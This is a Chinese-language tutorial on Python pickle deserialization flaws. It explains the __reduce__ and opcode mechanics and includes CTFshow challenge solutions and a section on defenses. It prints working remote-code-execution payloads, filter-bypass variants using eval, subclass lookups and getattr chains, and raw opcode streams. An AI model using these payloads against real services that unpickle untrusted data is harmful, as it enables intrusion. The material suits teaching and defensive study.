Python Pickle 反序列化漏洞(原理+示例)
字数 1954 2025-09-04 23:22:12
Python Pickle 反序列化漏洞深度解析
1. Pickle 基础
1.1 什么是 Pickle?
Pickle 是 Python 内置的序列化/反序列化模块,它能将任意 Python 对象转换为二进制流并还原。与 JSON 的主要区别在于:
| 对比项 | Pickle | JSON |
|---|---|---|
| 可存储类型 | 任意 Python 对象(类、函数、集合等) | 基本数据类型(数字、字符串、数组、字典) |
| 跨语言性 | Python 专用 | 跨语言 |
| 安全性 | 反序列化可执行代码 → 有安全风险 | 相对安全(只解析数据) |
Pickle 文档明确警告:"pickle 模块不安全;只有在信任数据源时才使用。恶意构造的 pickle 数据可以在反序列化时执行任意代码"。
1.2 基本用法
Pickle 提供两个基本函数:
# 序列化
pickle.dumps(obj) # 返回字节流
pickle.dump(obj, file) # 写入文件
# 反序列化
pickle.loads(data) # 从字节流加载
pickle.load(file) # 从文件加载
序列化示例:
import pickle
data = {"name": "YoSheep", "role": "people"}
ser = pickle.dumps(data) # 序列化
obj = pickle.loads(ser) # 反序列化
print(obj) # {'name': 'Sunny', 'role': 'people'}
1.3 自定义序列化行为
Python 允许类定义特殊方法来自定义序列化行为:
__getstate__/__setstate__:自定义实例状态存取__reduce__/__reduce_ex__:在反序列化时自动调用,返回描述如何重构对象的可调用对象和参数元组
__reduce__() 可以返回 (func, args),Pickle 在加载时会执行 func(*args) 来重建对象。如果返回了额外的状态值,Unpickler 会调用 __setstate__ 来设置状态。
2. 漏洞原理
2.1 Pickle 虚拟机(PVM)
Pickle 反序列化过程相当于一个完整的虚拟机(Pickle VM,简称 PVM)在 Python 解释器中执行字节码序列。PVM 包含:
- 指令解析器:依次读取并执行操作码
- 操作栈:使用 Python list 实现,临时存储数据和中间结果
- memo:使用 Python dict 实现,用于避免重复反序列化同一对象
常见操作码(opcode):
| 指令 | 描述 | 栈变化 |
|---|---|---|
| c | 获取全局对象或导入模块 | 获得的对象入栈 |
| o | 调用栈中的函数 | 函数和参数出栈,返回值入栈 |
| i | c 和 o 的组合 | 同 c 和 o |
| R | 调用函数(栈顶为函数,次顶为参数) | 函数和参数出栈,返回值入栈 |
| ( | 压入 MARK 标记 | MARK 标记入栈 |
| t | 组合 MARK 到当前的数据为元组 | MARK 和数据出栈,元组入栈 |
| . | 程序结束 | 返回栈顶元素 |
2.2 漏洞利用机制
攻击者可以在自定义类的 __reduce__ 方法中返回 (os.system, ('命令',)),将 os.system 函数及参数注入 Pickle 流。反序列化时:
- 导入 os.system
- 创建参数元组 ('命令',)
- 执行 REDUCE 调用命令
攻击链:
[Evil().__reduce__ 返回 os.system 及参数]
→ Pickler.dumps() → [Pickle字节流]
→ Unpickler.loads() → [PVM 执行 os.system('命令')]
2.3 漏洞危害
反序列化 Pickle 数据会执行其中指定的指令序列,攻击者可以:
- 执行任意系统命令
- 执行任意 Python 代码
- 读取/修改文件系统
- 建立反向 shell
3. 漏洞利用技术
3.1 基础利用
直接 RCE:
import pickle
import os
class Evil:
def __reduce__(self):
return (os.system, ('id',))
payload = pickle.dumps(Evil())
pickle.loads(payload) # 执行 os.system('id')
构造 opcode payload:
import pickletools
opcode = b'''cos
system
(S'whoami'
tR.'''
pickletools.dis(opcode)
pickle.loads(opcode) # 执行 whoami
3.2 绕过技术
使用替代函数
当 os.system 被禁用时:
# 使用 os.popen
class Exploit:
def __reduce__(self):
return (os.popen, ('id',))
# 使用 subprocess.Popen
class Exploit:
def __reduce__(self):
return (subprocess.Popen, (['/bin/sh','-c','id'],))
使用 eval/exec
class Exploit:
def __reduce__(self):
return (__import__('builtins').__dict__['eval'],
("__import__('os').system('id')",))
跳过 find_class 检查
通过对象属性间接获取函数:
class Exploit:
def __reduce__(self):
# 通过 __class__.__base__.__subclasses__() 获取 builtins
builtins_eval = ().__class__.__base__.__subclasses__()[138]
return (builtins_eval, ("__import__('os').system('id')",))
利用函数闭包变量
def outer():
def inner():
return __builtins__['eval']
return inner
class Exploit:
def __reduce__(self):
return (outer(), ("__import__('os').system('id')",))
间接访问 builtins
# 通过 builtins.getattr 和 globals() 获取 eval
payload = b'''cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
)RS'__builtins__'
tR(cbuiltins
getattr
RS'eval'
tR(S'__import__("os").system("id")'
tR.'''
4. 防御措施
- 避免反序列化不可信数据:这是最根本的解决方案
- 使用更安全的替代方案:如 JSON、msgpack 等
- 实现 RestrictedUnpickler:重写 find_class() 限制可导入的模块
- 签名验证:对序列化数据进行签名
- 沙箱环境:在受限环境中执行反序列化
示例 RestrictedUnpickler:
import pickle
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
# 只允许安全的模块和类
if module == 'builtins' and name in ('int', 'str', 'list', 'dict'):
return getattr(builtins, name)
raise pickle.UnpicklingError(f"禁止导入 {module}.{name}")
def safe_loads(data):
return RestrictedUnpickler(io.BytesIO(data)).load()
5. CTF 实战示例
CTFshow-web277
import pickle
import os
import base64
class Evil:
def __reduce__(self):
return (os.system, ('ls /',))
payload = pickle.dumps(Evil())
print(base64.b64encode(payload)) # 发送此 payload
CTFshow-web278 (过滤 os.system)
import pickle
import os
import base64
class Evil:
def __reduce__(self):
return (os.popen, ('cat flag',)) # 使用 popen 替代 system
payload = pickle.dumps(Evil())
print(base64.b64encode(payload))
或使用 subprocess:
class Evil:
def __reduce__(self):
return (subprocess.Popen, (['/bin/sh', '-c', 'cat flag'],))
6. 总结
Python Pickle 反序列化漏洞危害严重,攻击者可以通过构造恶意序列化数据实现任意代码执行。防御的关键在于:
- 永远不要反序列化不可信数据
- 如必须使用 Pickle,实施严格的输入验证和模块限制
- 考虑使用更安全的序列化方案替代 Pickle
理解 Pickle 的工作原理和漏洞机制,有助于开发者编写更安全的代码和安全人员识别相关风险。